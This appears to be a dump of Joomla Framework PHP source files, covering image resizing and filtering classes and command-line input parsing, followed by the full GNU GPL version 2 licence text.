		$width = $this->sanitizeWidth($width, $height);

		// Sanitize height.
		$height = $this->sanitizeHeight($height, $width);

		// Prepare the dimensions for the resize operation.
		$dimensions = $this->prepareDimensions($width, $height, $scaleMethod);

		// Instantiate offset.
		$offset    = new \stdClass;
		$offset->x = $offset->y = 0;

		// Center image if needed and create the new truecolor image handle.
		if ($scaleMethod == self::SCALE_FIT)
		{
			// Get the offsets
			$offset->x	= round(($width - $dimensions->width) / 2);
			$offset->y	= round(($height - $dimensions->height) / 2);

			$handle = imagecreatetruecolor($width, $height);

			// Make image transparent, otherwise canvas outside initial image would
default to black
			if (!$this->isTransparent())
			{
				$transparency = imagecolorallocatealpha($this->getHandle(), 0, 0, 0,
127);
				imagecolortransparent($this->getHandle(), $transparency);
			}
		}
		else
		{
			$handle = imagecreatetruecolor($dimensions->width,
$dimensions->height);
		}

		// Allow transparency for the new image handle.
		imagealphablending($handle, false);
		imagesavealpha($handle, true);

		if ($this->isTransparent())
		{
			// Get the transparent color values for the current image.
			$rgba  = imagecolorsforindex($this->getHandle(),
imagecolortransparent($this->getHandle()));
			$color = imagecolorallocatealpha($handle, $rgba['red'],
$rgba['green'], $rgba['blue'],
$rgba['alpha']);

			// Set the transparent color values for the new image.
			imagecolortransparent($handle, $color);
			imagefill($handle, 0, 0, $color);
		}

		if (!$this->generateBestQuality)
		{
			imagecopyresized(
				$handle,
				$this->getHandle(),
				$offset->x,
				$offset->y,
				0,
				0,
				$dimensions->width,
				$dimensions->height,
				$this->getWidth(),
				$this->getHeight()
			);
		}
		else
		{
			// Use resampling for better quality
			imagecopyresampled(
				$handle,
				$this->getHandle(),
				$offset->x,
				$offset->y,
				0,
				0,
				$dimensions->width,
				$dimensions->height,
				$this->getWidth(),
				$this->getHeight()
			);
		}

		// If we are resizing to a new image, create a new JImage object.
		if ($createNew)
		{
			// @codeCoverageIgnoreStart
			return new static($handle);

			// @codeCoverageIgnoreEnd
		}

		// Swap out the current handle for the new image handle.
		$this->destroy();

		$this->handle = $handle;

		return $this;
	}

	/**
	 * Method to crop an image after resizing it to maintain
	 * proportions without having to do all the set up work.
	 *
	 * @param   integer  $width      The desired width of the image in pixels
or a percentage.
	 * @param   integer  $height     The desired height of the image in pixels
or a percentage.
	 * @param   integer  $createNew  If true the current image will be cloned,
resized, cropped and returned.
	 *
	 * @return  Image
	 *
	 * @since   1.0
	 */
	public function cropResize($width, $height, $createNew = true)
	{
		$width   = $this->sanitizeWidth($width, $height);
		$height  = $this->sanitizeHeight($height, $width);

		$resizewidth  = $width;
		$resizeheight = $height;

		if (($this->getWidth() / $width) < ($this->getHeight() /
$height))
		{
			$resizeheight = 0;
		}
		else
		{
			$resizewidth = 0;
		}

		return $this->resize($resizewidth, $resizeheight,
$createNew)->crop($width, $height, null, null, false);
	}

	/**
	 * Method to rotate the current image.
	 *
	 * @param   mixed    $angle       The angle of rotation for the image
	 * @param   integer  $background  The background color to use when areas
are added due to rotation
	 * @param   boolean  $createNew   If true the current image will be
cloned, rotated and returned; else
	 *                                the current image will be rotated and
returned.
	 *
	 * @return  Image
	 *
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function rotate($angle, $background = -1, $createNew = true)
	{
		// Sanitize input
		$angle = (float) $angle;

		// Create the new truecolor image handle.
		$handle = imagecreatetruecolor($this->getWidth(),
$this->getHeight());

		// Make background transparent if no external background color is
provided.
		if ($background == -1)
		{
			// Allow transparency for the new image handle.
			imagealphablending($handle, false);
			imagesavealpha($handle, true);

			$background = imagecolorallocatealpha($handle, 0, 0, 0, 127);
		}

		// Copy the image
		imagecopy($handle, $this->getHandle(), 0, 0, 0, 0,
$this->getWidth(), $this->getHeight());

		// Rotate the image
		$handle = imagerotate($handle, $angle, $background);

		// If we are resizing to a new image, create a new Image object.
		if ($createNew)
		{
			// @codeCoverageIgnoreStart
			return new static($handle);

			// @codeCoverageIgnoreEnd
		}

		// Swap out the current handle for the new image handle.
		$this->destroy();

		$this->handle = $handle;

		return $this;
	}

	/**
	 * Method to flip the current image.
	 *
	 * @param   integer  $mode       The flip mode for flipping the image
{@link
https://www.php.net/imageflip#refsect1-function.imageflip-parameters}
	 * @param   boolean  $createNew  If true the current image will be cloned,
flipped and returned; else
	 *                               the current image will be flipped and
returned.
	 *
	 * @return  Image
	 *
	 * @since   1.2.0
	 * @throws  \LogicException
	 */
	public function flip($mode, $createNew = true)
	{
		// Create the new truecolor image handle.
		$handle = imagecreatetruecolor($this->getWidth(),
$this->getHeight());

		// Copy the image
		imagecopy($handle, $this->getHandle(), 0, 0, 0, 0,
$this->getWidth(), $this->getHeight());

		// Flip the image
		if (!imageflip($handle, $mode))
		{
			throw new \LogicException('Unable to flip the image.');
		}

		// If we are resizing to a new image, create a new Image object.
		if ($createNew)
		{
			// @codeCoverageIgnoreStart
			return new static($handle);

			// @codeCoverageIgnoreEnd
		}

		// Free the memory from the current handle
		$this->destroy();

		// Swap out the current handle for the new image handle.
		$this->handle = $handle;

		return $this;
	}

	/**
	 * Watermark the image
	 *
	 * @param   Image    $watermark     The Image object containing the
watermark graphic
	 * @param   integer  $transparency  The transparency to use for the
watermark graphic
	 * @param   integer  $bottomMargin  The margin from the bottom of this
image
	 * @param   integer  $rightMargin   The margin from the right side of this
image
	 *
	 * @return  Image
	 *
	 * @since   1.3.0
	 * @link    https://www.php.net/manual/en/image.examples-watermark.php
	 */
	public function watermark(Image $watermark, $transparency = 50,
$bottomMargin = 0, $rightMargin = 0)
	{
		imagecopymerge(
			$this->getHandle(),
			$watermark->getHandle(),
			$this->getWidth() - $watermark->getWidth() - $rightMargin,
			$this->getHeight() - $watermark->getHeight() - $bottomMargin,
			0,
			0,
			$watermark->getWidth(),
			$watermark->getHeight(),
			$transparency
		);

		return $this;
	}

	/**
	 * Method to write the current image out to a file or output directly.
	 *
	 * @param   mixed    $path     The filesystem path to save the image.
	 *                             When null, the raw image stream will be
outputted directly.
	 * @param   integer  $type     The image type to save the file as.
	 * @param   array    $options  The image type options to use in saving the
file.
	 *                             For PNG and JPEG formats use `quality` key
to set compression level (0..9 and 0..100)
	 *
	 * @return  boolean
	 *
	 * @link    https://www.php.net/manual/image.constants.php
	 * @since   1.0
	 * @throws  \LogicException
	 */
	public function toFile($path, $type = IMAGETYPE_JPEG, array $options =
array())
	{
		switch ($type)
		{
			case IMAGETYPE_GIF:
				return imagegif($this->getHandle(), $path);

			case IMAGETYPE_PNG:
				return imagepng($this->getHandle(), $path,
(array_key_exists('quality', $options)) ?
$options['quality'] : 0);
		}

		// Case IMAGETYPE_JPEG & default
		return imagejpeg($this->getHandle(), $path,
(array_key_exists('quality', $options)) ?
$options['quality'] : 100);
	}

	/**
	 * Method to get an image filter instance of a specified type.
	 *
	 * @param   string  $type  The image filter type to get.
	 *
	 * @return  ImageFilter
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	protected function getFilterInstance($type)
	{
		// Sanitize the filter type.
		$type = strtolower(preg_replace('#[^A-Z0-9_]#i', '',
$type));

		// Verify that the filter type exists.
		$className = 'Joomla\\Image\\Filter\\' . ucfirst($type);

		if (!class_exists($className))
		{
			$this->getLogger()->error('The ' . ucfirst($type) .
' image filter is not available.');

			throw new \RuntimeException('The ' . ucfirst($type) . '
image filter is not available.');
		}

		// Instantiate the filter object.
		$instance = new $className($this->getHandle());

		// Verify that the filter type is valid.
		if (!($instance instanceof ImageFilter))
		{
			// @codeCoverageIgnoreStart
			$this->getLogger()->error('The ' . ucfirst($type) .
' image filter is not valid.');

			throw new \RuntimeException('The ' . ucfirst($type) . '
image filter is not valid.');

			// @codeCoverageIgnoreEnd
		}

		return $instance;
	}

	/**
	 * Method to get the new dimensions for a resized image.
	 *
	 * @param   integer  $width        The width of the resized image in
pixels.
	 * @param   integer  $height       The height of the resized image in
pixels.
	 * @param   integer  $scaleMethod  The method to use for scaling
	 *
	 * @return  \stdClass
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException  If width, height or both given as
zero
	 */
	protected function prepareDimensions($width, $height, $scaleMethod)
	{
		// Instantiate variables.
		$dimensions = new \stdClass;

		switch ($scaleMethod)
		{
			case self::SCALE_FILL:
				$dimensions->width  = (int) round($width);
				$dimensions->height = (int) round($height);

				break;

			case self::SCALE_INSIDE:
			case self::SCALE_OUTSIDE:
			case self::SCALE_FIT:
				$rx = ($width > 0) ? ($this->getWidth() / $width) : 0;
				$ry = ($height > 0) ? ($this->getHeight() / $height) : 0;

				if ($scaleMethod != self::SCALE_OUTSIDE)
				{
					$ratio = max($rx, $ry);
				}
				else
				{
					$ratio = min($rx, $ry);
				}

				$dimensions->width  = (int) round($this->getWidth() / $ratio);
				$dimensions->height = (int) round($this->getHeight() / $ratio);

				break;

			default:
				throw new \InvalidArgumentException('Invalid scale method.');
		}

		return $dimensions;
	}

	/**
	 * Method to sanitize a height value.
	 *
	 * @param   mixed  $height  The input height value to sanitize.
	 * @param   mixed  $width   The input width value for reference.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 */
	protected function sanitizeHeight($height, $width)
	{
		// If no height was given we will assume it is a square and use the
width.
		$height = ($height === null) ? $width : $height;

		// If we were given a percentage, calculate the integer value.
		if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $height))
		{
			$height = (int) round($this->getHeight() * (float)
str_replace('%', '', $height) / 100);
		}
		else
		{
			// Else do some rounding so we come out with a sane integer value.
			$height = (int) round((float) $height);
		}

		return $height;
	}

	/**
	 * Method to sanitize an offset value like left or top.
	 *
	 * @param   mixed  $offset  An offset value.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 */
	protected function sanitizeOffset($offset)
	{
		return (int) round((float) $offset);
	}

	/**
	 * Method to sanitize a width value.
	 *
	 * @param   mixed  $width   The input width value to sanitize.
	 * @param   mixed  $height  The input height value for reference.
	 *
	 * @return  integer
	 *
	 * @since   1.0
	 */
	protected function sanitizeWidth($width, $height)
	{
		// If no width was given we will assume it is a square and use the
height.
		$width = ($width === null) ? $height : $width;

		// If we were given a percentage, calculate the integer value.
		if (preg_match('/^[0-9]+(\.[0-9]+)?\%$/', $width))
		{
			$width = (int) round($this->getWidth() * (float)
str_replace('%', '', $width) / 100);
		}
		else
		{
			// Else do some rounding so we come out with a sane integer value.
			$width = (int) round((float) $width);
		}

		return $width;
	}

	/**
	 * Method to destroy an image handle and free the memory associated with
the handle
	 *
	 * @return  boolean  True on success, false on failure or if no image is
loaded
	 *
	 * @since   1.0
	 */
	public function destroy()
	{
		if ($this->isLoaded())
		{
			return imagedestroy($this->getHandle());
		}

		return false;
	}

	/**
	 * Method to call the destroy() method one last time to free any memory
when the object is unset
	 *
	 * @see    Image::destroy()
	 * @since  1.0
	 */
	public function __destruct()
	{
		$this->destroy();
	}

	/**
	 * Method for set option of generate thumbnail method
	 *
	 * @param   boolean  $quality  True for best quality. False for best
speed.
	 *
	 * @return  void
	 *
	 * @since   1.4.0
	 */
	public function setThumbnailGenerate($quality = true)
	{
		$this->generateBestQuality = (boolean) $quality;
	}

	/**
	 * @param   mixed  $handle  A potential image handle
	 *
	 * @return  boolean
	 */
	private function isValidImage($handle)
	{
		// @todo Remove resource check, once PHP7 support is dropped.
		return (\is_resource($handle) && \get_resource_type($handle) ===
'gd')
			   || (\is_object($handle) && $handle instanceof \GDImage);
	}
}
<?php
/**
 * Part of the Joomla Framework Image Package
 *
 * @copyright  Copyright (C) 2005 - 2018 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Image;

use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerInterface;
use Psr\Log\NullLogger;

/**
 * Class to manipulate an image.
 *
 * @since       1.0
 * @deprecated  The joomla/image package is deprecated
 */
abstract class ImageFilter implements LoggerAwareInterface
{
	/**
	 * @var    resource|\GdImage  The image resource handle.
	 * @since  1.0
	 */
	protected $handle;

	/**
	 * @var    LoggerInterface  Logger object
	 * @since  1.0
	 */
	protected $logger;

	/**
	 * Class constructor.
	 *
	 * @param   resource|\GdImage  $handle  The image resource on which to
apply the filter.
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 * @throws  \RuntimeException
	 */
	public function __construct($handle)
	{
		// Verify that image filter support for PHP is available.
		if (!\function_exists('imagefilter'))
		{
			// @codeCoverageIgnoreStart
			$this->getLogger()->error('The imagefilter function for PHP
is not available.');

			throw new \RuntimeException('The imagefilter function for PHP is
not available.');

			// @codeCoverageIgnoreEnd
		}

		// Make sure the file handle is valid.
		if (!$this->isValidImage($handle))
		{
			$this->getLogger()->error('The image handle is invalid for
the image filter.');

			throw new \InvalidArgumentException('The image handle is invalid
for the image filter.');
		}

		$this->handle = $handle;
	}

	/**
	 * Get the logger.
	 *
	 * @return  LoggerInterface
	 *
	 * @since   1.0
	 */
	public function getLogger()
	{
		// If a logger hasn't been set, use NullLogger
		if (! ($this->logger instanceof LoggerInterface))
		{
			$this->logger = new NullLogger;
		}

		return $this->logger;
	}

	/**
	 * Sets a logger instance on the object
	 *
	 * @param   LoggerInterface  $logger  A PSR-3 compliant logger.
	 *
	 * @return  ImageFilter  This object for message chaining.
	 *
	 * @since   1.0
	 */
	public function setLogger(LoggerInterface $logger)
	{
		$this->logger = $logger;

		return $this;
	}

	/**
	 * Method to apply a filter to an image resource.
	 *
	 * @param   array  $options  An array of options for the filter.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	abstract public function execute(array $options = array());

	/**
	 * @param   mixed  $handle  A potential image handle
	 *
	 * @return  boolean
	 */
	private function isValidImage($handle)
	{
		// @todo Remove resource check, once PHP7 support is dropped.
		return (\is_resource($handle) && \get_resource_type($handle) ===
'gd')
			   || (\is_object($handle) && $handle instanceof \GDImage);
	}
}
GNU GENERAL PUBLIC LICENSE
				Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

				Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at
all.

  The precise terms and conditions for copying, distribution and
modification follow.

			GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program",
below,
refers to any such program or work, and a "work based on the
Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as
"you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

	a) You must cause the modified files to carry prominent notices
	stating that you changed the files and the date of any change.

	b) You must cause any work that you distribute or publish, that in
	whole or in part contains or is derived from the Program or any
	part thereof, to be licensed as a whole at no charge to all third
	parties under the terms of this License.

	c) If the modified program normally reads commands interactively
	when run, you must cause it, when started running for such
	interactive use in the most ordinary way, to print or display an
	announcement including an appropriate copyright notice and a
	notice that there is no warranty (or else, saying that you provide
	a warranty) and that users may redistribute the program under
	these conditions, and telling the user how to view a copy of this
	License.  (Exception: if the Program itself is interactive but
	does not normally print such an announcement, your work based on
	the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

	a) Accompany it with the complete corresponding machine-readable
	source code, which must be distributed under the terms of Sections
	1 and 2 above on a medium customarily used for software interchange; or,

	b) Accompany it with a written offer, valid for at least three
	years, to give any third party, for a charge no more than your
	cost of physically performing source distribution, a complete
	machine-readable copy of the corresponding source code, to be
	distributed under the terms of Sections 1 and 2 above on a medium
	customarily used for software interchange; or,

	c) Accompany it with the information you received as to the offer
	to distribute corresponding source code.  (This alternative is
	allowed only for noncommercial distribution and only if you
	received the program in object code or executable form with such
	an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and
"any
later version", you have the option of following the terms and
conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
this License, you may choose any version ever published by the Free
Software
Foundation.

  10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission.  For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this.  Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.

				NO WARRANTY

  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER
EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.

  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.

			 END OF TERMS AND CONDITIONS

		How to Apply These Terms to Your New Programs

  If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.

  To do so, attach the following notices to the program.  It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is
found.

	<one line to give the program's name and a brief idea of what it
does.>
	Copyright (C) <year>  <name of author>

	This program is free software; you can redistribute it and/or modify
	it under the terms of the GNU General Public License as published by
	the Free Software Foundation; either version 2 of the License, or
	(at your option) any later version.

	This program is distributed in the hope that it will be useful,
	but WITHOUT ANY WARRANTY; without even the implied warranty of
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
	GNU General Public License for more details.

	You should have received a copy of the GNU General Public License
	along with this program; if not, write to the Free Software
	Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA


Also add information on how to contact you by electronic and paper mail.

If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:

	Gnomovision version 69, Copyright (C) year name of author
	Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show
w'.
	This is free software, and you are welcome to redistribute it
	under certain conditions; type `show c' for details.

The hypothetical commands `show w' and `show c' should show the
appropriate
parts of the General Public License.  Of course, the commands you use may
be called something other than `show w' and `show c'; they could
even be
mouse-clicks or menu items--whatever suits your program.

You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program,
if
necessary.  Here is a sample; alter the names:

  Yoyodyne, Inc., hereby disclaims all copyright interest in the program
  `Gnomovision' (which makes passes at compilers) written by James
Hacker.

  <signature of Ty Coon>, 1 April 1989
  Ty Coon, President of Vice

This General Public License does not permit incorporating your program into
proprietary programs.  If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library.  If this is what you want to do, use the GNU Library General
Public License instead of this License.
<?php
/**
 * Part of the Joomla Framework Input Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Input;

use Joomla\Filter;

/**
 * Joomla! Input CLI Class
 *
 * @since       1.0
 * @deprecated  2.0  Use a Symfony\Component\Console\Input\InputInterface
implementation when using the `joomla/console` package
 */
class Cli extends Input
{
	/**
	 * The executable that was called to run the CLI script.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $executable;

	/**
	 * The additional arguments passed to the script that are not associated
	 * with a specific argument name.
	 *
	 * @var    array
	 * @since  1.0
	 */
	public $args = array();

	/**
	 * Constructor.
	 *
	 * @param   array  $source   Source data (Optional, default is $_REQUEST)
	 * @param   array  $options  Array of configuration parameters (Optional)
	 *
	 * @since   1.0
	 */
	public function __construct($source = null, array $options = array())
	{
		if (isset($options['filter']))
		{
			$this->filter = $options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}

		// Get the command line options
		$this->parseArguments();

		// Set the options for the class.
		$this->options = $options;
	}

	/**
	 * Method to serialize the input.
	 *
	 * @return  string  The serialized input.
	 *
	 * @since   1.0
	 */
	public function serialize()
	{
		// Load all of the inputs.
		$this->loadAllInputs();

		// Remove $_ENV and $_SERVER from the inputs.
		$inputs = $this->inputs;
		unset($inputs['env'], $inputs['server']);

		// Serialize the executable, args, options, data, and inputs.
		return serialize(array($this->executable, $this->args,
$this->options, $this->data, $inputs));
	}

	/**
	 * Gets a value from the input data.
	 *
	 * @param   string  $name     Name of the value to get.
	 * @param   mixed   $default  Default value to return if variable does not
exist.
	 * @param   string  $filter   Filter to apply to the value.
	 *
	 * @return  mixed  The filtered input value.
	 *
	 * @since   1.0
	 */
	public function get($name, $default = null, $filter = 'string')
	{
		return parent::get($name, $default, $filter);
	}

	/**
	 * Method to unserialize the input.
	 *
	 * @param   string  $input  The serialized input.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function unserialize($input)
	{
		// Unserialize the executable, args, options, data, and inputs.
		list($this->executable, $this->args, $this->options,
$this->data, $this->inputs) = unserialize($input);

		// Load the filter.
		if (isset($this->options['filter']))
		{
			$this->filter = $this->options['filter'];
		}
		else
		{
			$this->filter = new Filter\InputFilter;
		}
	}

	/**
	 * Initialise the options and arguments
	 *
	 * Not supported: -abc c-value
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function parseArguments()
	{
		$argv = $_SERVER['argv'];

		$this->executable = array_shift($argv);

		$out = array();

		for ($i = 0, $j = \count($argv); $i < $j; $i++)
		{
			$arg = $argv[$i];

			// --foo --bar=baz
			if (substr($arg, 0, 2) === '--')
			{
				$eqPos = strpos($arg, '=');

				// --foo
				if ($eqPos === false)
				{
					$key = substr($arg, 2);

					// --foo value
					if ($i + 1 < $j && $argv[$i + 1][0] !== '-')
					{
						$value          = $argv[$i + 1];
						$i++;
					}
					else
					{
						$value          = isset($out[$key]) ? $out[$key] : true;
					}

					$out[$key]          = $value;
				}

				// --bar=baz
				else
				{
					$key                = substr($arg, 2, $eqPos - 2);
					$value              = substr($arg, $eqPos + 1);
					$out[$key]          = $value;
				}
			}
			// -k=value -abc
			elseif (substr($arg, 0, 1) === '-')
			{
				// -k=value
				if (substr($arg, 2, 1) === '=')
				{
					$key                = substr($arg, 1, 1);
					$value              = substr($arg, 3);
					$out[$key]          = $value;
				}
				// -abc
				else
				{
					$chars              = str_split(substr($arg, 1));

					foreach ($chars as $char)
					{
						$key            = $char;
						$value          = isset($out[$key]) ? $out[$key] : true;
						$out[$key]      = $value;
					}

					// -a a-value
					if ((\count($chars) === 1) && ($i + 1 < $j) &&
($argv[$i + 1][0] !== '-'))
					{
						$out[$key]      = $argv[$i + 1];
						$i++;
					}
				}
			}
			// Plain-arg
			else
			{
				$this->args[] = $arg;
			}
		}

		$this->data = $out;
	}
}
<?php
/**
 * Part of the Joomla Framework Input Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Input;

use Joomla\Filter;

/**
 * Joomla! Input Cookie Class
 *
 * @since  1.0
 */
class Cookie extends Input
{
	/**
	 * Constructor.
	 *
	 * @param   array  $source   Ignored.
	 * @param   array  $options  Array of configuration parameters (Optional)
	 *
	 * @since   1.0
	 */
